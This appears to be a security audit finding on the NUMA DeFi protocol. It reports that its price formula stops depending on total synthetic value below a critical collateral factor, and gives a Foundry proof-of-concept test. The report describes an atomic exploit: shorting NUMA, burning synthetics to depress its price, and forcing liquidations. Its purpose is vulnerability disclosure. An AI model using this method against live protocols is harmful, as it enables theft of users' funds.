Small Shamrock Rook
High
Due to the change in the NUMA pricing formula when CF < cf_critical
, it enables an attacker to manipulate the price atomically to steal funds.
Background info for root cause
The original formula for the NUMA price is:
Using this formula, when a user burns synthetics to mint NUMA, the NUMA price stays relatively stable because numaTotalSupply
increases while totalSynthValue
simultaneously decreases.
However, when cf < cf_critical
, the totalSynthValue
is scaled by criticalScaleForNumaPriceAndSellFee
which is calculated in the following way:
uint criticalScaleForNumaPriceAndSellFee = BASE_1000;
// CRITICAL_CF
if (currentCF < cf_critical) {
uint criticalDebaseFactor = (currentCF * BASE_1000) / cf_critical;
criticalScaleForNumaPriceAndSellFee = criticalDebaseFactor;
// OTHER CODE //
}
currentCF
is calculated via getGlobalCF()
. The calculation can be summarised as currentCF = totalVaultCollateralValue / totalSynthValue
By applying this scaling, the new formula for the NUMA price when currentCF < cf_critical
is:
Now since
the formula for NUMA price simplifies to:
The issue
When comparing this formula with the original formula, we see that this one is not dependent on the totalSynthValue
. This is a critical issue because it means that when synthetics are burned to mint NUMA, the numaTotalSupply
increases, but the numerator remains unchanged. This greatly decreases the NUMA price.
It can be exploited by atomically opening a short leveraged position on NUMA, burning synthetics to NUMA, and closing the short position for profit.
currentCF < cf_critical
No response
No response
An attacker can atomically manipulate the NUMA price by burning nuAssets, and profit greatly by first opening a large short position on it.
They can also atomically cause rETH borrows to be liquidatable and liquidate them.
Add the following PoC functions to Printer.t.sol
function test_priceManipulationWhenCFCritical() external {
// first mint some synths
_mintAssetFromNumaInput();
vm.startPrank(userA);
nuUSD.approve(address(moneyPrinter), type(uint256).max);
console.log("global CF: %e", vaultManager.getGlobalCF());
console.log("critical CF: %e", vaultManager.cf_critical());
// synth scaling critical debase
uint256 snapshot = vm.snapshotState();
_forceSynthDebasingCritical();
console.log("AFTER FORCING CRITICAL CF");
uint256 amountBuy = vaultManager.ethToNuma(
1e18,
IVaultManager.PriceType.BuyPrice
);
console.log("[Before Synth Burn] Numa for 1 ETH: %e", amountBuy);
// SELLING
uint256 nuAssetAmount = nuUSD.balanceOf(userA);
vm.startPrank(userA);
moneyPrinter.burnAssetInputToNuma(
address(nuUSD),
nuAssetAmount,
0,
userA
);
amountBuy = vaultManager.ethToNuma(
1e18,
IVaultManager.PriceType.BuyPrice
);
console.log("[After Synth Burn] Numa for 1 ETH: %e", amountBuy);
///////// REVERTED STATE ///////////
vm.revertToState(snapshot);
console.log("REVERTED STATE TO NORMAL CF_CRITICAL");
console.log("critical CF: %e", vaultManager.cf_critical());
// Price check
amountBuy = vaultManager.ethToNuma(
1e18,
IVaultManager.PriceType.BuyPrice
);
console.log("Numa for 1 ETH before: %e", amountBuy);
// SELLING
nuAssetAmount = nuUSD.balanceOf(userA);
vm.startPrank(userA);
moneyPrinter.burnAssetInputToNuma(
address(nuUSD),
nuAssetAmount,
0,
userA
);
amountBuy = vaultManager.ethToNuma(
1e18,
IVaultManager.PriceType.BuyPrice
);
console.log("Numa for 1 ETH after: %e", amountBuy);
}
function _mintAssetFromNumaInput() public {
uint numaAmount = 3.5e24;
vm.startPrank(deployer);
numa.transfer(userA, numaAmount);
vm.stopPrank();
vm.startPrank(userA);
numa.approve(address(moneyPrinter), numaAmount);
moneyPrinter.mintAssetFromNumaInput(
address(nuUSD),
numaAmount,
0,
userA
);
}
function _forceSynthDebasingCritical() public {
vm.startPrank(deployer);
uint globalCF2 = vaultManager.getGlobalCF();
console.log(globalCF2);
// critical_cf
vaultManager.setScalingParameters(
globalCF2 + 1,
vaultManager.cf_warning(),
vaultManager.cf_severe(),
vaultManager.debaseValue(),
vaultManager.rebaseValue(),
1 hours,
2 hours,
vaultManager.minimumScale(),
vaultManager.criticalDebaseMult()
);
}
When cf < cf_critical: [Before Synth Burn] Numa for 1 ETH: 7.180475215933677256464e21 [After Synth Burn] Numa for 1 ETH: 6.917607405733951990574e21 Price change: (-3.7%)
When cf > cf_critical: [Before Synth Burn] Numa for 1 ETH before: 7.184051273989430565546e21 [After Synth Burn] Numa for 1 ETH after: 7.132604355406555055698e21 Price change: (-0.72%)
This shows that the price can be significantly decreased (by burning synths to mint NUMA), due to the calculation not accounting for the total synth value when cf < cf_critical.
No response